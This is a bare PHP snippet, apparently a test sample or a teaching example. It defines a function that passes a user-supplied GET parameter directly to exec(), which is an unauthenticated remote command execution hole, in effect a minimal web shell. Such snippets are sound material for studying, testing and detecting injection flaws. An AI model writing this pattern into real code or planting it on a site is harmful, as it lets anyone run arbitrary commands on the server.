function boo() {
	exec($_GET['command']);
}